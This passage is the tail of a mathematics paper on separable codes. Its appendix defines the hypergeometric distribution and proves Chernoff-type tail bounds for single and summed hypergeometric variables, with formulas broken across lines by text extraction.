real situations necessary increases with N , we see that the resulting lengths of
(c, c)-separable codes rise to asymptotically poorer results than our construction.
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A Appendix

The hypergeometric distribution, deals with counting the number of items with
some characteristic, obtained when n items are selected randomly without re-
placement from N of which Np exhibits the characteristic.

Let 0 < p < 1 and q = 1 − p, where p, q ∈ Q.
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The population size is N and the sample size is n < N , where Np, Nq are
both integers. Then, the hypergeometric distribution is defined as

H(k; n, p, N) =

(
Np
k

) (
Nq

n − k

)

(
N
n

) (2)

where 0 ≤ k ≤ Np.
Knowing that all hypergeometric moments are bounded by the corresponding

binomial moments, using Theorem 4 in [5], any bound for the binomial distri-
bution is also valid for the hypergeometric distribution. Therefore, the Chernoff
bound can be applied to the hypergeometric distribution. Thus if Yn is a ran-
dom hypergeometric variable (where n represents the sample size), with expected
value μn = np, then

p(Yn − μn < −δ) ≤ e
−

δ2

2μn (3)

for any δ ≥ 0.
Let Yn be an hypergeometric random variable with distribution H( ; n, p, N),

with μn = np the expected value. Then we can prove next results.

Lemma 1. Let 0 ≤ δ ∈ R, then p(Yn − μn > δ) = p(YN−n − μN−n < −δ).

Proof. From (2) it is straightforward to see that H(k; n, p, N) = H(Np− k; N −
n, p, N), so

p(Yn > δ + μn) =
Np−δ−μn∑

i=1

H(δ + μn + i; n, p, N) =

=
Np−δ−μn∑

i=1

H(Np − δ − μn − i; N − n, p, N) = p(YN−n < Np − δ − μn),

but as μN−n = Np − μn we have that

p(Yn − μn > δ) = p(YN−n < Np − μn − δ) = p(YN−n − μN−n < −δ).

�

Lemma 2. Given δ ≥ 0 and ε > 0 such that for all sample size n, p(Yn − μn <
−δ) < ε, then p(Yn − μn > δ) < ε.

Proof. We have seen that p(Yn − μn > δ) = p(YN−n − μN−n < −δ), but by
hypothesis we have that p(YN−n − μN−n < δ) < ε.


�
Similar results are derived when we consider a set of independent hypergeo-
metric random variables. Let Y i

ni
= H( ; ni, pi, Ni), for i = 1, . . . , m, a set of

independent hypergeometric random variables, with means μi
ni

= nipi.
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Lemma 3. Let δ ≥ 0 and ε > 0 be values such that p
(
Y i

ni
− μi

ni
< −δ

)
≤

e
− δ2

2μi
ni < ε, for i = 1, . . . , m. Then

p

(
m∑

i=1

(Y i
ni

− μi
ni

) < −
√

mδ

)
< ε.

for any values ni.

Proof. By Theorem 4 of [5] and applying the Chernoff bound, we have that

p

(
m∑

i=1

(Y i
ni

− μi
ni

) < −
√

mδ

)
≤ e

−
mδ2

2
∑m

i=1 μi
ni ,

Let μ = maxi{μi
ni

}, then

e
−

mδ2

2
∑m

i=1 μi
ni ≤ e

−
δ2

2μ < ε.

�

Lemma 4. Let Y i
ni

, for i = 1, . . . , m, be a set of independent hypergeometric
random variables of expected value μi

ni
. Let δ ≥ 0 and ε > 0 values such that

p
(
Y i

ni
− μi

ni
< −δ

)
< e

− δ2

2μi
ni < ε, for i = 1, . . . , m. Then, for any values ni,

p

(
m∑

i=1

(Y i
ni

− μi
ni

) >
√

mδ

)
< ε.

Proof. Given any m-tuple Γ = (γ1, . . . , γm) ∈ Z
m we denote by SΓ =

∑m
k=1 γk.

Then

p

(
m∑

i=1

(Y i
ni

− μi
ni

) >
√

mδ

)
=

∑

SΓ>
√

mλ

m∏

i=1

p
(
Y i

ni
− μi

ni
= γi

)
=

=
∑

SΓ>
√

mλ

m∏

i=1

p
(
Y i

Ni−ni
− μi

Ni−ni
= −γi

)
=

= p

(
m∑

i=1

(Y i
Ni−ni

− μi
Ni−ni

) < −
√

mδ

)
< ε.


�
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